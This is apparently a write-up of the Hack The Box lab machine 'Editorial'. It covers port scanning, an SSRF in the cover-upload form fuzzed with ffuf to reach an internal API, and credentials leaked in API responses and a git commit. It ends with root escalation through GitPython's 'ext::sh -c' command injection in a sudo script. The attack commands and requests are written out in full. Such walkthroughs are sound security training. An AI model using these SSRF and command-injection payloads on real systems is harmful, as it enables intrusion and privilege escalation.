Recon
└──╼ $nmap -p- -A editorial.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 12:09 UTC
Nmap scan report for editorial.htb (10.129.181.2)
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.70 seconds
└──╼ $gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -u http://editorial.htb --append-domain -t 150
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://editorial.htb
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 3000000 / 3000001 (100.00%)
===============================================================
Finished
===============================================================
Our prime suspect for now looks like this:
We can get two responses depending on our uploads:
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
/static/uploads/6fb354f6-6c83-424b-b513-f2bce21f6aec
Going to http://editorial.htb/static/uploads/cd349514-acea-43e9-8463-b46c3ef54440 lets us download the image, but it seems to get deleted after a short amount of time.
Replacing the url, also returns us standard error image.
We can check if there is anything on other ports.
seq 1 65535 > numbered_file.txt
Then we create a req.txt file with which we will be fuzzing.
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://editorial.htb/upload
Content-Type: multipart/form-data; boundary=---------------------------7876978943491642553877244290
Content-Length: 357
Origin: http://editorial.htb
DNT: 1
Connection: close
Sec-GPC: 1
Priority: u=0
-----------------------------7876978943491642553877244290
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------7876978943491642553877244290
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------7876978943491642553877244290--
and we can run ffuf, filtering responses with length 61, as it is the default 404.
$ffuf -u http://editorial.htb/upload-cover -X POST -request req.txt -w numbered_file.txt -fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/user/Desktop/numbered_file.txt
:: Header : Accept: */*
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Referer: http://editorial.htb/upload
:: Header : Content-Type: multipart/form-data; boundary=---------------------------7876978943491642553877244290
:: Header : Origin: http://editorial.htb
:: Header : DNT: 1
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
:: Header : Priority: u=0
:: Header : Connection: close
:: Header : Sec-GPC: 1
:: Data : -----------------------------7876978943491642553877244290
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------7876978943491642553877244290
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------7876978943491642553877244290--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 88ms]
Going to the response, we can get finally some interesting content.
Finally requesting http://127.0.0.1:5000/api/latest/metadata/messages/authors, returns us:
username: dev
password: dev080217_devAPI!@
Which gets us nice ssh and a user flag.
In home folder we have only one folder, apps. In it, there is only hidden .git folder.
https://git-scm.com/docs/gitrepository-layout
git log
git show <id>
In one of the git commits we can find
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
username: prod
password: 080217_Producti0n_2023!@
Running linPEAS again, shows us that we are now allowed to run a new script with sudo. Its also marked as 95% PE.
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Its a simple python scirpt for cloning repos.
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
I’ve search on the internet to first find pwnkit exploit, which didnt work.
Then I’ve checked python libraries versions.
prod@editorial:/opt/internal_apps/clone_changes$ pip3 list
Package Version
--------------------- ----------------
...
GitPython 3.1.29
...
Checking GitPython version gets us this link.
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /root/root.txt% /tmp/flag.txt'
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% 777% /tmp/flag.txt'
cat /tmp/flag.txt
We are done.